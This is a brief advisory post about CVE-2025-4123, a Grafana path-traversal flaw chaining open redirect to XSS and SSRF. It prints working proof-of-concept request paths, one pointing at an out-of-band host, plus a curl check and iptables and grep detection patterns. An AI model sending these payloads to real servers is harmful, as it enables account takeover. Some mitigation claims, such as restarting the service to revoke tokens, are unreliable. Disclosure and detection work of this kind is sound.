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A high-severity vulnerability (CVE-2025-4123) has been discovered in Grafana, exploiting client-side path traversal to trigger an Open Redirect → XSS/SSRF chain, potentially leading to account takeover. This flaw requires no authentication and has a CVSS score of 7.6.
Proof of Concept (PoC) Payloads:
GET /render/public/..%252f%255C{{interactsh-url}}%252f%253F%252f..%252f.. HTTP/1.1
GET /public/..%2F%5coast.pro%2F%3f%2F..%2F.. HTTP/1.1
Exploit Demo: Watch Full Exploitation
You Should Know:
1. Vulnerability Breakdown
- Open Redirect: Malicious actors can manipulate URLs to redirect users to phishing sites.
- XSS (Cross-Site Scripting): Attackers inject scripts into Grafana dashboards.
- SSRF (Server-Side Request Forgery): Exploiting internal services via crafted requests.
2. Detection & Mitigation
Check if Your Grafana Instance is Vulnerable:
curl -v "http://<grafana-server>/public/..%2F%5Cexample.com%2F%3F%2F..%2F.."
If the server responds with a redirect, it’s vulnerable.
Patch Immediately
- Upgrade to the latest Grafana version.
- Apply WAF rules to block malicious path traversal patterns.
Linux Firewall Rule (iptables) to Block Exploit Attempts
iptables -A INPUT -p tcp --dport 3000 -m string --string "/..%2F" --algo bm -j DROP
3. Post-Exploitation Analysis
If compromised:
- Check Logs for Suspicious Requests
grep -r "..%2F" /var/log/grafana/
- Revoke Exposed Session Tokens
sudo systemctl restart grafana-server
What Undercode Say
This exploit demonstrates how path normalization flaws in web apps can lead to severe security breaches. Always:
– Sanitize user inputs in web applications.
– Monitor HTTP logs for unusual traversal patterns.
– Use CSP (Content Security Policy) to mitigate XSS risks.
Expected Output:
- Vulnerable Server: Returns HTTP 302 redirect.
- Patched Server: Returns HTTP 403 (Forbidden).
Prediction
Expect mass scanning for vulnerable Grafana instances in the wild. Automated exploits may emerge within weeks.
Relevant URLs:
References:
Reported By: Chirag99artani Grafana – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
